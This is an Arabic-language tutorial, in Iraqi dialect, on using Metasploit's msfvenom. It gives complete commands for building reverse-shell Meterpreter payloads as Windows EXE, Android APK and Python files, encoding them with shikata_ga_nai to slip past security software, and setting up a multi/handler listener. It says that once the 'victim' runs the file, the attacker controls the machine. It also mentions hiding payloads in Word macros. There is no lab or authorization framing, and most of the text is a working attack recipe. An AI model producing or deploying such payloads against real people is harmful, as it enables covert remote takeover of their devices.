ماهي msfvenom؟
أداة msfvenom هي دمج بين أداتين قديمات كانوا موجودات بمشروع Metasploit:
msfpayload
: كانت مسؤولة عن توليد الـ payloads.msfencode
: كانت مسؤولة عن تشفير الـ payloads حتى تتجاوز برامج الحماية.
من اندمجن صار عدنا msfvenom، واللي تكدر تولد بيها بايلودات (payloads) بأشكال متعددة (مثل EXE, APK, DLL, وغيرها)، وتحدد نوع الاتصال (reverse, bind)، وتضيف إعداداتك الخاصة، مثل الـ IP والبورت.
شنو تحتاج حتى تستخدم msfvenom؟
- النظام: تشتغل على Linux وWindows
- لازم يكون منصب عندك Metasploit Framework، لأن الأداة جزء من عنده.
طريقة التثبيت:
sudo apt update && sudo apt install metasploit-framework
وتتأكد من تنصيبها بـ:
msfvenom --help

طريقة الأستخدام:
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output_file>
-p: تحدد نوع البايلود
LHOST/LPORT: تحدد عنوانك (IP) والبورت اللي راح تتصل عليه الضحية
-f: تحدد نوع الملف (مثل exe, apk, etc)
-o: تحدد اسم الملف الناتج
أمثلة:
توليد بايلود EXE :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o hack.exe
windows/meterpreter/reverse_tcp
: هذا البايلود يفتح اتصال عكسي من جهاز الضحية الك.LHOST
: هو الآي بي الخاص بيك (ممكن تحصل عليه بـ ifconfig).LPORT
: البورت اللي راح تستمع عليه.-f exe
: توليد ملف exe.-o hack.exe
: اسم الملف النهائي.
توليد بايلود APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o evil.apk
تشفير البايلود (لتخطي الـWAF)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o enc.exe
-e x86/shikata_ga_nai
: نوع التشفير.-i 3
: عدد مرات التشفير.
أنواع البايلودات المتوفرة:
msfvenom -l payloads
راح تشوف أنواع هواي:
windows/meterpreter/...
linux/x86/shell/...
android/meterpreter/...
php/meterpreter/...
python/meterpreter/...
- وحتى للماك:
osx/x86/shell_reverse_tcp
تنسيقات الملفات - Formats
تحددها بـ -f
، مثل:
التنسيق | الوصف |
---|---|
exe | ملف ويندوز تنفيذي |
elf | ملف تنفيذي للينكس |
apk | تطبيق أندرويد |
raw | كود خام |
c , python , bash | توليد كود بلغة معينة |
asp , php , jsp | بايلود للويب |
مثال توليد بايلود بلغة Python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.py
استخدام البايلود:
تحتاج تفتح listener بجهازك حتى تستقبل الاتصال. افتح Metasploit بهالشكل:
msfconsole
وبعدين:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit
وبس ينفذ الضحية الملف، راح ينفتح عندك جلسة Meterpreter تتحكم بيها بالجهاز.
اشياء ممكن تسويها بالبايلودات:
المهمة | البايلود |
---|---|
التحكم الكامل | meterpreter |
فتح شل بسيط | shell_reverse_tcp |
بايلودات بدون اتصال مباشر | stageless payloads |
إدخال البايلود Word | استخدم macro + msfvenom raw |